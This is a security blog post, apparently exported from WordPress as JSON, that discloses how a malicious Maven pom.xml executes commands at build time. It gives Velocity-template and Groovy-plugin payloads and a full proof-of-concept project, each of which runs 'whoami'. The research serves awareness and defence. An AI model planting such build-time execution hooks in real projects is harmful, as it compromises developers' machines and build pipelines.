{"id":2015,"date":"2023-02-27T11:14:33","date_gmt":"2023-02-27T10:14:33","guid":{"rendered":"https:\/\/security.humanativaspa.it\/?p=2015"},"modified":"2025-09-11T07:59:13","modified_gmt":"2025-09-11T07:59:13","slug":"abusing-mavens-pom-xml","status":"publish","type":"post","link":"https:\/\/hnsecurity.it\/it\/blog\/abusing-mavens-pom-xml\/","title":{"rendered":"Abusing Maven&#8217;s pom.xml"},"content":{"rendered":"<p><strong>Apache Maven<\/strong> is a well-known tool for software development project management. &#8220;<em>Based on the concept of a project object model (POM), Maven can manage a project&#8217;s build, reporting and documentation from a central piece of information&#8221; <\/em>(from Maven&#8217;s website). So, the core of a Maven project is the <strong>pom.xml<\/strong> file, which includes all the details required for the correct functioning and compilation of the project itself (for example, all the required dependencies and their version) and even more (unit tests reports, mailing list and so on). For all the details, this is the <a href=\"https:\/\/maven.apache.org\/index.html\">official site<\/a>.<\/p>\n<p>For non-dev people like me, Maven and its pom.xml file just represented a convenient and fast way to build an open-source project that I pulled from GitHub without getting mad, nothing more. However, a pom.xml file can be incredibly complex and Maven can perform a lot of different tasks based on complex rules, build steps and more.<\/p>\n<p style=\"text-align: center;\"><strong>Even executing code<\/strong>.<\/p>\n<p><img decoding=\"async\" class=\"size-full wp-image-2022 aligncenter\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2023\/02\/wtf-2.jpeg\" alt=\"\" width=\"474\" height=\"420\" \/><\/p>\n<p>At least for me, discovering that simply running a &#8220;mvn build&#8221; command can lead to compromise made me very uncomfortable. <strong>My bias was that compiling code is safer than running it<\/strong>&#8230; but in this case, it can be worse: you can have the most trusted code in the world to compile but a malicious <em>pom.xml<\/em> to build your trusted code can compromise you. Also, <strong>consider the potential impact of this behavior in a deployment pipeline context.\u00a0<\/strong><\/p>\n<p>I have identified 2 methods to execute code on the compiling machine (for sure there are way more &#8211; but these two do not require &#8220;exotic&#8221; plugins or any change to the code):<\/p>\n<ul>\n<li><strong>maven-site-plugin<\/strong>: the 1st method uses a simple .vm (extension for Apache Velocity) file called &#8220;default-site.vm&#8221; that must be included in the same directory of the pom.xml and that is processed by the maven-site-plugin in order to create a &#8220;site&#8221; for the project.<\/li>\n<\/ul>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"xml\">[...]\r\n&lt;!-- plugins section of the pom.xml file  --&gt;\r\n&lt;plugins&gt;\r\n\r\n        &lt;plugin&gt;\r\n\r\n          &lt;groupId&gt;org.apache.maven.plugins&lt;\/groupId&gt;\r\n\r\n          &lt;artifactId&gt;maven-site-plugin&lt;\/artifactId&gt;\r\n\r\n          &lt;version&gt;3.12.1&lt;\/version&gt;\r\n\r\n          &lt;configuration&gt;\r\n\r\n            \r\n&lt;templateFile&gt;${basedir}\/default-site.vm&lt;\/templateFile&gt;\r\n\r\n          &lt;\/configuration&gt;\r\n\r\n        &lt;\/plugin&gt;\r\n\r\n    &lt;\/plugins&gt;\r\n\r\n[...]\r\n<\/pre>\n<p style=\"text-align: left;\">The default-site.vm file contains the following Apache Velocity code to execute the &#8220;whoami&#8221; system command once the victim runs the &#8220;mvn site&#8221; command (the output can be seen in the .\/target\/site\/index.html file) :<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"groovy\">&lt;!DOCTYPE html&gt;\r\n&lt;html&gt;\r\n#set($str=$class.inspect(\"java.lang.String\").type)\r\n#set($chr=$class.inspect(\"java.lang.Character\").type)\r\n#set($ex=$class.inspect(\"java.lang.Runtime\").type.getRuntime().exec(\"whoami\"))\r\n$ex.waitFor()\r\n#set($out=$ex.getInputStream())\r\n#foreach($i in [1..$out.available()])\r\n$str.valueOf($chr.toChars($out.read()))\r\n#end\r\n&lt;\/html&gt;<\/pre>\n<ul>\n<li><strong>groovy-maven-plugin<\/strong>: the 2nd method is more straightforward and uses the following Groovy script (&lt;source&gt; element) , executed by the groovy-maven-plugin once the victim runs the &#8220;mvn compile&#8221; command (for example, but it can be configured to run at any lifecycle phase) :<\/li>\n<\/ul>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"xml\">[...]\r\n&lt;plugins&gt;\r\n    &lt;plugin&gt;\r\n      &lt;groupId&gt;org.codehaus.gmaven&lt;\/groupId&gt;\r\n      &lt;artifactId&gt;groovy-maven-plugin&lt;\/artifactId&gt;\r\n        &lt;executions&gt;\r\n          &lt;execution&gt;\r\n            &lt;phase&gt;initialize&lt;\/phase&gt;\r\n            &lt;goals&gt;\r\n              &lt;goal&gt;execute&lt;\/goal&gt;\r\n            &lt;\/goals&gt;\r\n            &lt;configuration&gt;\r\n              &lt;source&gt;\r\n                print \"whoami\".execute().text\r\n              &lt;\/source&gt;\r\n            &lt;\/configuration&gt;\r\n          &lt;\/execution&gt;\r\n      &lt;\/executions&gt;\r\n    &lt;\/plugin&gt;\r\n &lt;\/plugins&gt; \r\n[...]<\/pre>\n<p>A complete PoC of a malicious project is the following:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\r\n\r\n&lt;project xmlns=\"http:\/\/maven.apache.org\/POM\/4.0.0\" xmlns:xsi=\"http:\/\/www.w3.org\/2001\/XMLSchema-instance\"\r\n  xsi:schemaLocation=\"http:\/\/maven.apache.org\/POM\/4.0.0 http:\/\/maven.apache.org\/xsd\/maven-4.0.0.xsd\"&gt;\r\n  &lt;modelVersion&gt;4.0.0&lt;\/modelVersion&gt;\r\n\r\n  &lt;groupId&gt;com.mycompany.app&lt;\/groupId&gt;\r\n  &lt;artifactId&gt;my-app&lt;\/artifactId&gt;\r\n  &lt;version&gt;1.0-SNAPSHOT&lt;\/version&gt;\r\n\r\n  &lt;name&gt;my-app&lt;\/name&gt;\r\n  &lt;!-- FIXME change it to the project's website --&gt;\r\n  &lt;url&gt;http:\/\/www.example.com&lt;\/url&gt;\r\n\r\n  &lt;properties&gt;\r\n    &lt;project.build.sourceEncoding&gt;UTF-8&lt;\/project.build.sourceEncoding&gt;\r\n    &lt;maven.compiler.source&gt;1.7&lt;\/maven.compiler.source&gt;\r\n    &lt;maven.compiler.target&gt;1.7&lt;\/maven.compiler.target&gt;\r\n  &lt;\/properties&gt;\r\n\r\n  &lt;dependencies&gt;\r\n    &lt;dependency&gt;\r\n      &lt;groupId&gt;junit&lt;\/groupId&gt;\r\n      &lt;artifactId&gt;junit&lt;\/artifactId&gt;\r\n      &lt;version&gt;4.11&lt;\/version&gt;\r\n      &lt;scope&gt;test&lt;\/scope&gt;\r\n    &lt;\/dependency&gt;\r\n  &lt;\/dependencies&gt;\r\n\r\n  &lt;build&gt;\r\n    &lt;pluginManagement&gt;&lt;!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) --&gt;\r\n      &lt;plugins&gt;\r\n        &lt;plugin&gt;\r\n          &lt;artifactId&gt;maven-clean-plugin&lt;\/artifactId&gt;\r\n          &lt;version&gt;3.1.0&lt;\/version&gt;\r\n        &lt;\/plugin&gt;\r\n        &lt;plugin&gt;\r\n          &lt;artifactId&gt;maven-resources-plugin&lt;\/artifactId&gt;\r\n          &lt;version&gt;3.0.2&lt;\/version&gt;\r\n        &lt;\/plugin&gt;\r\n        &lt;plugin&gt;\r\n          &lt;artifactId&gt;maven-compiler-plugin&lt;\/artifactId&gt;\r\n          &lt;version&gt;3.8.0&lt;\/version&gt;\r\n        &lt;\/plugin&gt;\r\n        &lt;plugin&gt;\r\n          &lt;artifactId&gt;maven-surefire-plugin&lt;\/artifactId&gt;\r\n          &lt;version&gt;2.22.1&lt;\/version&gt;\r\n        &lt;\/plugin&gt;\r\n        &lt;plugin&gt;\r\n          &lt;artifactId&gt;maven-jar-plugin&lt;\/artifactId&gt;\r\n          &lt;version&gt;3.0.2&lt;\/version&gt;\r\n        &lt;\/plugin&gt;\r\n        &lt;plugin&gt;\r\n          &lt;artifactId&gt;maven-install-plugin&lt;\/artifactId&gt;\r\n          &lt;version&gt;2.5.2&lt;\/version&gt;\r\n        &lt;\/plugin&gt;\r\n        &lt;plugin&gt;\r\n          &lt;artifactId&gt;maven-deploy-plugin&lt;\/artifactId&gt;\r\n          &lt;version&gt;2.8.2&lt;\/version&gt;\r\n        &lt;\/plugin&gt;\r\n        &lt;!-- site lifecycle, see https:\/\/maven.apache.org\/ref\/current\/maven-core\/lifecycles.html#site_Lifecycle --&gt;\r\n        &lt;plugin&gt;\r\n          &lt;artifactId&gt;maven-site-plugin&lt;\/artifactId&gt;\r\n          &lt;version&gt;3.7.1&lt;\/version&gt;\r\n        &lt;\/plugin&gt;\r\n        &lt;plugin&gt;\r\n          &lt;artifactId&gt;maven-project-info-reports-plugin&lt;\/artifactId&gt;\r\n          &lt;version&gt;3.0.0&lt;\/version&gt;\r\n        &lt;\/plugin&gt;\r\n      &lt;\/plugins&gt;\r\n    &lt;\/pluginManagement&gt;\r\n    &lt;plugins&gt;\r\n        &lt;plugin&gt;\r\n          &lt;groupId&gt;org.codehaus.gmaven&lt;\/groupId&gt;\r\n          &lt;artifactId&gt;groovy-maven-plugin&lt;\/artifactId&gt;\r\n            &lt;executions&gt;\r\n              &lt;execution&gt;\r\n                &lt;phase&gt;initialize&lt;\/phase&gt;\r\n                &lt;goals&gt;\r\n                  &lt;goal&gt;execute&lt;\/goal&gt;\r\n                &lt;\/goals&gt;\r\n                &lt;configuration&gt;\r\n                  &lt;source&gt;\r\n                    print \"whoami\".execute().text\r\n                  &lt;\/source&gt;\r\n                &lt;\/configuration&gt;\r\n              &lt;\/execution&gt;\r\n          &lt;\/executions&gt;\r\n        &lt;\/plugin&gt;\r\n     &lt;\/plugins&gt;   \r\n  &lt;\/build&gt;\r\n&lt;\/project&gt;<\/pre>\n<p>The PoC in action can be seen here (MMC for visual impact):<\/p>\n<p><img decoding=\"async\" class=\"aligncenter wp-image-2025 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2023\/02\/POC_1_groovy-2.gif\" alt=\"\" width=\"2026\" height=\"802\" \/><\/p>\n<p>We reported these attack techniques to the Apache Security team, and <strong>they replied that this is considered intended behavior<\/strong>. However, they <a href=\"https:\/\/maven.apache.org\/security.html\">updated<\/a> the Maven website security page to <strong>make it clear to everyone that you are responsible for what you build with Maven, pom.xml file included \ud83d\ude00<\/strong><\/p>\n<p>Keep this in mind the next time you YOLO-build a new Java project or want to backdoor a dev colleague \ud83d\ude42 (and, by the way&#8230; it&#8217;s not just Maven, other similar tools exhibit a similar behaviour).<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Apache Maven is a well-known tool for software development project management. &#8220;Based on the concept of a project object model [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":159935,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[91,78],"tags":[82,171,172,173,77],"class_list":["post-2015","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-articles","category-exploits","tag-vulnerability-research","tag-apache","tag-maven","tag-pom-xml","tag-exploit"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>HN Security - Abusing Maven&#039;s pom.xml -<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hnsecurity.it\/it\/blog\/abusing-mavens-pom-xml\/\" \/>\n<meta property=\"og:locale\" content=\"it_IT\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"HN Security - Abusing Maven&#039;s pom.xml -\" \/>\n<meta property=\"og:description\" content=\"Apache Maven is a well-known tool for software development project management. &#8220;Based on the concept of a project object model [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hnsecurity.it\/it\/blog\/abusing-mavens-pom-xml\/\" \/>\n<meta property=\"og:site_name\" content=\"HN Security\" \/>\n<meta property=\"article:published_time\" content=\"2023-02-27T10:14:33+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-09-11T07:59:13+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/MAVEN.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1600\" \/>\n\t<meta property=\"og:image:height\" content=\"836\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Gianluca Baldi\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@hnsec\" \/>\n<meta name=\"twitter:site\" content=\"@hnsec\" \/>\n<meta name=\"twitter:label1\" content=\"Scritto da\" \/>\n\t<meta name=\"twitter:data1\" content=\"Gianluca Baldi\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tempo di lettura stimato\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minuti\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/abusing-mavens-pom-xml\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/abusing-mavens-pom-xml\\\/\"},\"author\":{\"name\":\"Gianluca Baldi\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/person\\\/251b6740cfa820dd94ab485c48adb8f5\"},\"headline\":\"Abusing Maven&#8217;s pom.xml\",\"datePublished\":\"2023-02-27T10:14:33+00:00\",\"dateModified\":\"2025-09-11T07:59:13+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/abusing-mavens-pom-xml\\\/\"},\"wordCount\":502,\"publisher\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/abusing-mavens-pom-xml\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/MAVEN.jpg\",\"keywords\":[\"vulnerability research\",\"apache\",\"maven\",\"pom.xml\",\"exploit\"],\"articleSection\":[\"Articles\",\"Exploits\"],\"inLanguage\":\"it-IT\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/abusing-mavens-pom-xml\\\/\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/abusing-mavens-pom-xml\\\/\",\"name\":\"HN Security - Abusing Maven's pom.xml -\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/abusing-mavens-pom-xml\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/abusing-mavens-pom-xml\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/MAVEN.jpg\",\"datePublished\":\"2023-02-27T10:14:33+00:00\",\"dateModified\":\"2025-09-11T07:59:13+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/abusing-mavens-pom-xml\\\/#breadcrumb\"},\"inLanguage\":\"it-IT\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/abusing-mavens-pom-xml\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/abusing-mavens-pom-xml\\\/#primaryimage\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/MAVEN.jpg\",\"contentUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2025\\\/09\\\/MAVEN.jpg\",\"width\":1600,\"height\":836,\"caption\":\"Maven logo\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/abusing-mavens-pom-xml\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Abusing Maven&#8217;s pom.xml\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#website\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\",\"name\":\"HN Security\",\"description\":\"Offensive Security Specialists\",\"publisher\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"it-IT\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#organization\",\"name\":\"HN Security\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/hn-libellula.jpg\",\"contentUrl\":\"https:\\\/\\\/hnsecurity.it\\\/wp-content\\\/uploads\\\/2026\\\/01\\\/hn-libellula.jpg\",\"width\":696,\"height\":696,\"caption\":\"HN Security\"},\"image\":{\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/x.com\\\/hnsec\",\"https:\\\/\\\/www.linkedin.com\\\/company\\\/hnsecurity\\\/\",\"https:\\\/\\\/github.com\\\/hnsecurity\",\"https:\\\/\\\/infosec.exchange\\\/@hnsec\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/#\\\/schema\\\/person\\\/251b6740cfa820dd94ab485c48adb8f5\",\"name\":\"Gianluca Baldi\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/6c4f5412911567e4668543570703da4320bfcc5f3dcb1c89541bd2d7eb285690?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/6c4f5412911567e4668543570703da4320bfcc5f3dcb1c89541bd2d7eb285690?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/6c4f5412911567e4668543570703da4320bfcc5f3dcb1c89541bd2d7eb285690?s=96&d=mm&r=g\",\"caption\":\"Gianluca Baldi\"},\"url\":\"https:\\\/\\\/hnsecurity.it\\\/it\\\/blog\\\/author\\\/gianluca-baldi\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"HN Security - Abusing Maven's pom.xml -","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hnsecurity.it\/it\/blog\/abusing-mavens-pom-xml\/","og_locale":"it_IT","og_type":"article","og_title":"HN Security - Abusing Maven's pom.xml -","og_description":"Apache Maven is a well-known tool for software development project management. &#8220;Based on the concept of a project object model [&hellip;]","og_url":"https:\/\/hnsecurity.it\/it\/blog\/abusing-mavens-pom-xml\/","og_site_name":"HN Security","article_published_time":"2023-02-27T10:14:33+00:00","article_modified_time":"2025-09-11T07:59:13+00:00","og_image":[{"width":1600,"height":836,"url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/MAVEN.jpg","type":"image\/jpeg"}],"author":"Gianluca Baldi","twitter_card":"summary_large_image","twitter_creator":"@hnsec","twitter_site":"@hnsec","twitter_misc":{"Scritto da":"Gianluca Baldi","Tempo di lettura stimato":"4 minuti"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hnsecurity.it\/it\/blog\/abusing-mavens-pom-xml\/#article","isPartOf":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/abusing-mavens-pom-xml\/"},"author":{"name":"Gianluca Baldi","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/person\/251b6740cfa820dd94ab485c48adb8f5"},"headline":"Abusing Maven&#8217;s pom.xml","datePublished":"2023-02-27T10:14:33+00:00","dateModified":"2025-09-11T07:59:13+00:00","mainEntityOfPage":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/abusing-mavens-pom-xml\/"},"wordCount":502,"publisher":{"@id":"https:\/\/hnsecurity.it\/it\/#organization"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/abusing-mavens-pom-xml\/#primaryimage"},"thumbnailUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/MAVEN.jpg","keywords":["vulnerability research","apache","maven","pom.xml","exploit"],"articleSection":["Articles","Exploits"],"inLanguage":"it-IT"},{"@type":"WebPage","@id":"https:\/\/hnsecurity.it\/it\/blog\/abusing-mavens-pom-xml\/","url":"https:\/\/hnsecurity.it\/it\/blog\/abusing-mavens-pom-xml\/","name":"HN Security - Abusing Maven's pom.xml -","isPartOf":{"@id":"https:\/\/hnsecurity.it\/it\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/abusing-mavens-pom-xml\/#primaryimage"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/abusing-mavens-pom-xml\/#primaryimage"},"thumbnailUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/MAVEN.jpg","datePublished":"2023-02-27T10:14:33+00:00","dateModified":"2025-09-11T07:59:13+00:00","breadcrumb":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/abusing-mavens-pom-xml\/#breadcrumb"},"inLanguage":"it-IT","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hnsecurity.it\/it\/blog\/abusing-mavens-pom-xml\/"]}]},{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/hnsecurity.it\/it\/blog\/abusing-mavens-pom-xml\/#primaryimage","url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/MAVEN.jpg","contentUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/MAVEN.jpg","width":1600,"height":836,"caption":"Maven logo"},{"@type":"BreadcrumbList","@id":"https:\/\/hnsecurity.it\/it\/blog\/abusing-mavens-pom-xml\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hnsecurity.it\/it\/"},{"@type":"ListItem","position":2,"name":"Abusing Maven&#8217;s pom.xml"}]},{"@type":"WebSite","@id":"https:\/\/hnsecurity.it\/it\/#website","url":"https:\/\/hnsecurity.it\/it\/","name":"HN Security","description":"Offensive Security Specialists","publisher":{"@id":"https:\/\/hnsecurity.it\/it\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hnsecurity.it\/it\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"it-IT"},{"@type":"Organization","@id":"https:\/\/hnsecurity.it\/it\/#organization","name":"HN Security","url":"https:\/\/hnsecurity.it\/it\/","logo":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/logo\/image\/","url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2026\/01\/hn-libellula.jpg","contentUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2026\/01\/hn-libellula.jpg","width":696,"height":696,"caption":"HN Security"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/hnsec","https:\/\/www.linkedin.com\/company\/hnsecurity\/","https:\/\/github.com\/hnsecurity","https:\/\/infosec.exchange\/@hnsec"]},{"@type":"Person","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/person\/251b6740cfa820dd94ab485c48adb8f5","name":"Gianluca Baldi","image":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/secure.gravatar.com\/avatar\/6c4f5412911567e4668543570703da4320bfcc5f3dcb1c89541bd2d7eb285690?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/6c4f5412911567e4668543570703da4320bfcc5f3dcb1c89541bd2d7eb285690?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/6c4f5412911567e4668543570703da4320bfcc5f3dcb1c89541bd2d7eb285690?s=96&d=mm&r=g","caption":"Gianluca Baldi"},"url":"https:\/\/hnsecurity.it\/it\/blog\/author\/gianluca-baldi\/"}]}},"jetpack_featured_media_url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/MAVEN.jpg","_links":{"self":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/2015","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/comments?post=2015"}],"version-history":[{"count":1,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/2015\/revisions"}],"predecessor-version":[{"id":160148,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/2015\/revisions\/160148"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/media\/159935"}],"wp:attachment":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/media?parent=2015"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/categories?post=2015"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/tags?post=2015"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}